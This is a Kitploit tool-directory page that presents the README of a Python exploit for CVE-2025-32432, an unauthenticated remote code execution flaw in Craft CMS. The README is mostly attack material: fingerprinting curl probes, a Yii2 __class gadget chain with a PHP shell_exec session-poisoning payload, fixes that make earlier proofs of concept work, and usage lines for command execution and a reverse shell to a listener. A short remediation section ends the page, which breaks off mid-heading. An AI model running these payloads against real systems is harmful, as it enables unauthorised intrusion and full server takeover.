Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-32432 — Python exploit for CVE-2025-32432, an unauthenticated RCE in Craft CMS via Yii2 __class injection, with command execution and reverse shell support. | Kitploit
उपकरण/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHub

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432

CVE-2025-32432

Python exploit for CVE-2025-32432, an unauthenticated RCE in Craft CMS via Yii2 __class injection, with command execution and reverse shell support.

रिपॉजिटरी देखें
2219 दिन पहलेअभी तक समीक्षित नहीं
साझा करें
अनुरोधित भाषा में सामग्री उपलब्ध नहीं है। अंग्रेज़ी संस्करण दिखाया जा रहा है।

CVE-2025-32432 — Craft CMS <= 5.6.16 Unauthenticated RCE

Severity: Critical (CVSS 10.0) Auth required: None Affected: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Patched in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


Identify (How to Confirm the Target is Vulnerable)

Before exploiting, confirm the target is running a vulnerable version of Craft CMS.

Step 1 — Fingerprint the Craft CMS version

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

Step 2 — Probe the vulnerable endpoint (anonymous access check)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'
  • HTTP 400 = endpoint exists (Craft is running), CSRF missing
  • HTTP 404 = not Craft or wrong path
  • HTTP 500 = gadget fired (assetId valid, endpoint reachable)

Step 3 — Confirm with assetId scan

python3 exploit.py -u http://target/cms -c "id"

If output contains uid= the target is confirmed vulnerable and RCE is achieved.


Root Cause

AssetsController::actionGenerateTransform() is declared allowAnonymous, making it reachable without authentication. It passes the user-controlled handle parameter directly into Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Yii's DI container treats two special array keys without any allow-list:

KeyBehaviour
__classInstantiate this class instead of the declared type
__construct()Pass these values as constructor arguments

Gadget chain:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

Session file poisoning closes the loop: PHP stores GET parameters verbatim in /tmp/sess_<CraftSessionId>. Planting <?=shell_exec($_GET['cmd']);exit;?> there gives RCE.


Why Existing Public PoCs Fail

1. URL encoding destroys the PHP payload

Root problem: Python requests encodes <, >, ?, = before sending. PHP's session handler stores the percent-encoded bytes — not executable PHP.

Encoded payload (BROKEN — what requests actually sends on the wire)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

Unencoded payload (FIXED — what we send after monkey-patching)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

Fix: Monkey-patch HTTPConnectionPool._make_request — the last point before TCP — and call urllib.parse.unquote() there:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. Wrong session cookie name

The standard: PHP's default session cookie is PHPSESSID. Craft CMS overrides this in its application config:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

This means the session file on disk is /tmp/sess_<CraftSessionId>, not /tmp/sess_<PHPSESSID>.

Cookie comparison

PropertyPHP DefaultCraft CMS
Cookie namePHPSESSIDCraftSessionId
Session file/tmp/sess_abc123/tmp/sess_abc123
How to readsession.cookies.get("PHPSESSID")session.cookies.get("CraftSessionId")
What happens if wrongNone returneditemFile path points to nonexistent file
Resultexploit fails silentlyno error — require() just fails
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

You can verify the correct cookie name by inspecting browser DevTools after visiting any Craft page, or checking the Set-Cookie response header:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. Missing CSRF token on the trigger request

Craft validates CSRF tokens on all non-anonymous POST actions. Omitting the token causes 400 Bad Request.

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

Comparison table

IssueLog-poisoning PoCsSession (wrong cookie)Session (no CSRF)This PoC
URL encodingN/A (User-Agent)BROKENBROKENFIXED monkey-patched
Cookie nameN/ABROKEN PHPSESSIDBROKEN PHPSESSIDFIXED CraftSessionId
CSRF on triggerOKOKBROKENFIXED
Stale log exit;BROKENN/AN/AN/A
Works on /cms prefixBROKENBROKENBROKENFIXED

Usage

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

Remediation

ActionDetail
Upgrade Craft CMS3.9.15 / 4.14.15 / 5.6.17 validates handle implements ImageTransformerInterface
Upgrade Yii22.0.50 blocks __class injection in Component::__set
WAF ruleBlock __class or __construct() in request body to /actions/assets/generate-transform

Fix / Mitigation (Blue Team Operational Guide)

Patch Table

BranchVulnerablePatched
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

Step 2 — Locate the Vulnerable Code

टूल डाउनलोड करें